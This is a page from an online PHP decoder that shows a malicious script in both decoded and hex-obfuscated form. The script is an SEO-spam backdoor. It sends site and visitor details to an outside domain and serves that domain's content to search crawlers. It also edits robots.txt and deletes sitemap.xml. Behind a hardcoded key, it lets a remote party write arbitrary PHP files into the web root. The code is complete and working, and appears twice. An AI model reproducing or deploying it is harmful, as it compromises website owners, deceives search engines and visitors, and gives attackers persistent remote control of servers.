Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto tpYIe; S1sJX: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\150..

Decoded Output download

<?  goto tpYIe; S1sJX: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto FTbvL; uayKx: $http_web = "http"; goto S1sJX; z7XaJ: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto qyqnf; Zqd1N: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto jpe43; jpe43: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "6f6727694bb5657c37987640a1d26d2e") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto s8b0d; qyqnf: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto JAhKQ; JAhKQ: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto l5oPD; JJmvc: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto Ed83t; s8b0d: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto xx8Cg; Kvp49: $xmlname = "lmmx"; goto uayKx; UOa0D: @ignore_user_abort(1); goto Kvp49; KB7lM: if ($duri_tmp == '') { $duri_tmp = "/"; } goto zGfAa; xx8Cg: $htmcontent = trim(dageget($web)); goto CFqfR; Ed83t: $host = $_SERVER["HTTP_HOST"]; goto jzMEC; CFqfR: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto z7XaJ; lovNa: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto tVpIE; tpYIe: @set_time_limit(3600); goto UOa0D; FTbvL: $duri_tmp = st_uri(); goto KB7lM; sPHkE: $lang = urlencode($lang); goto OVNgF; tVpIE: $goweb = $xmlname . ".skygogo" . ".xyz"; goto JJmvc; OVNgF: $urlshang = ''; goto Zqd1N; zGfAa: $duri = urlencode($duri_tmp); goto lovNa; jzMEC: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto sPHkE; l5oPD: 
//vx014 ?>

Did this file decode correctly?

Original Code

goto tpYIe; S1sJX: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\150\164\x74\160"; } goto FTbvL; uayKx: $http_web = "\x68\x74\164\160"; goto S1sJX; z7XaJ: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\x69\x74\145\x6d\141\x70\40\116\157\164\151\146\151\143\141\164\151\x6f\156\40\122\145\143\145\151\166\x65\144") !== false ? "\x70\151\x6e\147\157\153" : "\145\162\162\x6f\x72"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\x3c\x62\x72\x3e"; } return $return_str; } goto qyqnf; Zqd1N: if (isset($_SERVER["\x48\x54\124\120\137\x52\105\x46\x45\x52\105\122"])) { $urlshang = $_SERVER["\x48\x54\x54\x50\137\x52\x45\x46\105\x52\105\x52"]; $urlshang = urlencode($urlshang); } goto jpe43; jpe43: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\155\x61\x70\156\x61\x6d\145"]; $action = @$_GET["\141\143\164\151\157\x6e"]; if (isset($_SERVER["\104\117\103\125\115\x45\x4e\124\x5f\122\117\x4f\x54"])) { $path = $_SERVER["\x44\117\103\x55\x4d\105\116\124\x5f\122\117\117\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\164"; } if ($action == "\x70\x75\x74") { if (strstr($add_content, "\x2e\170\x6d\154")) { $map_path = $path . "\x2f\x73\x69\x74\145\x6d\x61\160\56\170\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\157\x62\157\x74\163\56\x74\170\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\x65\162\x2d\x61\147\145\x6e\x74\72\40\52\101\154\x6c\157\167\72\40\x2f"; } $sitmap_url = $http . "\x3a\x2f\x2f" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\x72\x3e\x73\151\164\x65\x6d\141\x70\40\141\x6c\x72\145\141\x64\171\40\x61\144\144\145\x64\x21\x3c\142\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\x53\x69\164\x65\x6d\x61\160\72\40" . $sitmap_url)) { echo "\74\x62\162\76\x6f\153\x3c\x62\x72\76"; } else { echo "\74\142\x72\76\x66\x69\x6c\145\x20\x77\x72\x69\164\x65\40\146\x61\x6c\x73\145\x21\x3c\142\162\x3e"; } } } else { echo "\x3c\x62\162\x3e\163\x69\164\145\x6d\141\x70\40\156\x61\155\x65\40\x66\141\154\x73\x65\x21\74\142\162\76"; } if (strstr($add_content, "\56\x70" . "\150\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\72\57\57" . $goweb . "\57\141\x2e\160" . "\x68\x70") || $b == "\66\x66\x36\x37\x32\67\66\x39\64\x62\x62\65\x36\65\x37\x63\63\67\x39\70\x37\x36\64\x30\141\61\x64\62\x36\x64\62\x65") { $dstr = @$_GET["\144\163\164\x72"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\x6b"; } } } } die; } goto s8b0d; qyqnf: function sbot() { $uAgent = strtolower($_SERVER["\110\x54\124\x50\x5f\x55\x53\x45\x52\137\101\x47\x45\116\x54"]); if (stristr($uAgent, "\x67\157\x6f\x67\154\145\142\x6f\164") || stristr($uAgent, "\142\151\156\147") || stristr($uAgent, "\171\141\150\x6f\157") || stristr($uAgent, "\x67\x6f\x6f\x67\x6c\x65") || stristr($uAgent, "\x47\x6f\x6f\x67\154\x65\x62\157\x74") || stristr($uAgent, "\147\157\157\147\x6c\145\x62\157\164")) { return true; } else { return false; } } goto JAhKQ; JAhKQ: function dageget($url) { $file_contents = ''; if (function_exists("\143\x75\162\x6c\137\x69\x6e\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto l5oPD; JJmvc: function is_htps() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\x48\124\124\x50\123"]) !== "\x6f\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\124\120\x5f\x58\137\x46\x4f\x52\127\101\x52\x44\105\104\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\120\x5f\x58\x5f\x46\117\122\127\101\122\x44\105\104\137\120\122\117\124\x4f"] === "\150\164\164\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\106\122\117\116\x54\137\x45\116\x44\137\110\124\124\120\123"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\x46\122\x4f\116\124\x5f\x45\x4e\104\x5f\x48\x54\124\120\123"]) !== "\157\x66\x66") { return true; } return false; } goto Ed83t; s8b0d: $web = $http_web . "\x3a\x2f\57" . $goweb . "\57\151\x6e\144\x65\170\156\145\167\56\160\150\160\x3f\x77\x65\142\x3d" . $host . "\46\172\x7a\x3d" . sbot() . "\x26\x75\x72\151\x3d" . $duri . "\46\x75\162\154\x73\x68\141\156\147\75" . $urlshang . "\x26\150\164\164\x70\75" . $http . "\x26\x6c\x61\156\x67\x3d" . $lang; goto xx8Cg; Kvp49: $xmlname = "\154\x6d\x6d\170"; goto uayKx; UOa0D: @ignore_user_abort(1); goto Kvp49; KB7lM: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto zGfAa; xx8Cg: $htmcontent = trim(dageget($web)); goto CFqfR; Ed83t: $host = $_SERVER["\110\124\x54\120\137\110\117\123\124"]; goto jzMEC; CFqfR: if (!strstr($htmcontent, "\156\157\x62\x6f\x74\x75\x73\145\x72\141\147\x65\156\x74")) { if (strstr($htmcontent, "\157\153\150\164\x6d\x6c\x67\145\x74\x63\157\156\164\x65\x6e\164")) { @header("\x43\157\156\164\x65\156\x74\55\x74\x79\160\x65\72\40\x74\145\x78\164\x2f\150\x74\x6d\154\x3b\x20\143\x68\141\162\x73\145\164\75\165\164\x66\55\70"); $htmcontent = str_replace("\157\153\x68\x74\155\x6c\147\x65\164\143\x6f\x6e\x74\145\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\170\155\154\x67\145\x74\x63\157\156\x74\x65\x6e\x74")) { $htmcontent = str_replace("\x6f\153\170\x6d\x6c\x67\145\164\x63\x6f\156\164\x65\x6e\164", '', $htmcontent); @header("\x43\157\156\164\x65\156\x74\55\164\171\160\145\72\x20\164\145\x78\x74\x2f\x78\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\156\x67\x78\x6d\154\147\145\x74\x63\157\x6e\164\x65\x6e\164")) { $htmcontent = str_replace("\160\151\x6e\x67\170\x6d\154\x67\x65\164\x63\157\156\164\145\156\164", '', $htmcontent); @header("\103\157\156\x74\145\156\x74\x2d\x74\171\160\145\x3a\40\164\x65\x78\x74\x2f\x68\164\155\154\73\x20\143\x68\141\x72\x73\x65\x74\x3d\x75\164\x66\55\70"); echo pingmap($htmcontent); die; } } } } goto z7XaJ; lovNa: function st_uri() { if (isset($_SERVER["\x52\105\121\x55\105\123\124\137\x55\122\111"])) { $duri = $_SERVER["\x52\x45\x51\x55\x45\123\124\137\x55\122\x49"]; } else { if (isset($_SERVER["\x61\x72\147\166"])) { $duri = $_SERVER["\x50\110\x50\137\x53\x45\x4c\x46"] . "\77" . $_SERVER["\x61\x72\x67\x76"][0]; } else { $duri = $_SERVER["\x50\x48\120\137\x53\105\114\x46"] . "\x3f" . $_SERVER["\x51\125\x45\122\x59\x5f\123\124\122\x49\116\x47"]; } } return $duri; } goto tVpIE; tpYIe: @set_time_limit(3600); goto UOa0D; FTbvL: $duri_tmp = st_uri(); goto KB7lM; sPHkE: $lang = urlencode($lang); goto OVNgF; tVpIE: $goweb = $xmlname . "\56\163\153\x79\147\157\147\157" . "\x2e\170\171\x7a"; goto JJmvc; OVNgF: $urlshang = ''; goto Zqd1N; zGfAa: $duri = urlencode($duri_tmp); goto lovNa; jzMEC: $lang = @$_SERVER["\110\x54\x54\x50\x5f\x41\103\x43\105\120\x54\137\x4c\101\116\x47\125\x41\x47\x45"]; goto sPHkE; l5oPD:
//vx014

Function Calls

None

Variables

None

Stats

MD5 e4f47eedb436c44c0e433ad5122b32c2
Eval Count 0
Decode Time 53 ms